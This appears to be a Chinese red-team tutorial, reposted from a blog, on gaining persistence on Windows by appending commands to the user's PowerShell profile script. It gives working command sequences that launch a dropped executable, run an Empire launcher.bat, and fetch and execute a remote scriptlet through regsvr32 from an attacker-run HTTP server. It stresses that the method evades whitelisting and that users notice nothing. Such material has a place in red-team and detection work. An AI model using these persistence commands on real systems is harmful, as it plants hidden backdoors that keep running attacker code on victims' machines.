持久性– PowerShell配置文件

PowerShell配置文件是一个PowerShell脚本,使用它可以使系统管理员和用户自定义环境并在PowerShell会话启动时执行特定命令。 如果用户定期在PowerShell上执行工作,则通过修改PowerShell配置文件的内容,对手或red team可以将其用作持久性机制。
 
PowerShell配置文件脚本存储在文件夹“ WindowsPowerShell ”中,默认情况下对用户隐藏。 如果payload已放入磁盘,则可以使用“ Start-Process ” cmdlet指向可执行文件的位置。 “ Test-Path $profile”确定当前用户的配置文件是否存在。如果配置文件不存在,命令“ New-Item -Path $profile -Type File -Force ”将为当前用户创建一个配置文件,“ Out-File ”将使用新内容重写配置文件。
 
echo $profile
Test-Path $profile
New-Item -Path $profile -Type File –Force
$string = 'Start-Process "C:\tmp\pentestlab.exe"'
$string | Out-File -FilePath  "C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1" -Append
 
 
 
PowerShell配置文件–启动过程
PowerShell下次启动时将执行配置文件的内容,并使用命令和控件建立连接。
持久性– PowerShell可执行配置文件
与启动过程类似,“ Invoke-Item ” cmdlet可用于执行项目的默认操作,即运行文件,打开应用程序等。launcher.bat是Empire生成的payload,具有自我删除功能在执行时作为更秘密的选择,因为它不会创建新流程。
 
echo $profile
Test-Path $profile
New-Item -Path $profile -Type File –Force
Add-Content $profile "Invoke-Item C:\tmp\launcher.bat"
$string | Out-File -FilePath "C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1" -Append
 
 
PowerShell配置文件– BAT文件
当PowerShell在系统上再次启动时,将执行该文件,并且代理将与命令和控件进行通讯。执行不会像上面的示例那样在系统上创建新进程,而是将使用现有的PowerShell进程。
持久性– PowerShell配置文件帝国
cmdlet“ Invoke-Command ” 的用法允许执行命令。regsvr32方法可以用作隐藏选项,因为它可以规避未正确配置的应用程序白名单解决方案,并且可以从远程位置执行脚本程序。
 
echo $profile
Test-Path $profile
New-Item -Path $profile -Type File –Force
$string = 'Invoke-Command -ScriptBlock { regsvr32 /s /n /u  /i:http://10.0.2.21:8080/jWcEbr.sct scrobj.dll }'
$string | Out-File -FilePath  "C:\Users\pentestlab\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1" -Append
 
 
PowerShell配置文件–执行命令
Metasploit框架包含一个模块(web_delivery),该模块可以生成并提供恶意脚本文件。但是,其他命令和控制(C2)框架(例如PoshC2)也支持此功能,并且与Metasploit相比,可以提供扩展的功能。
 
持久性– PowerShell配置文件Regsvr32
使用多个命令对PowerShell配置文件进行大量修改会向用户发送一条有关增加加载时间的消息。但是,执行一个命令不会产生任何消息,payload将在后台运行,并且用户不会注意到任何差异。
参考文献:
 

猜你喜欢

转载自www.cnblogs.com/JoEcO01/p/11891485.html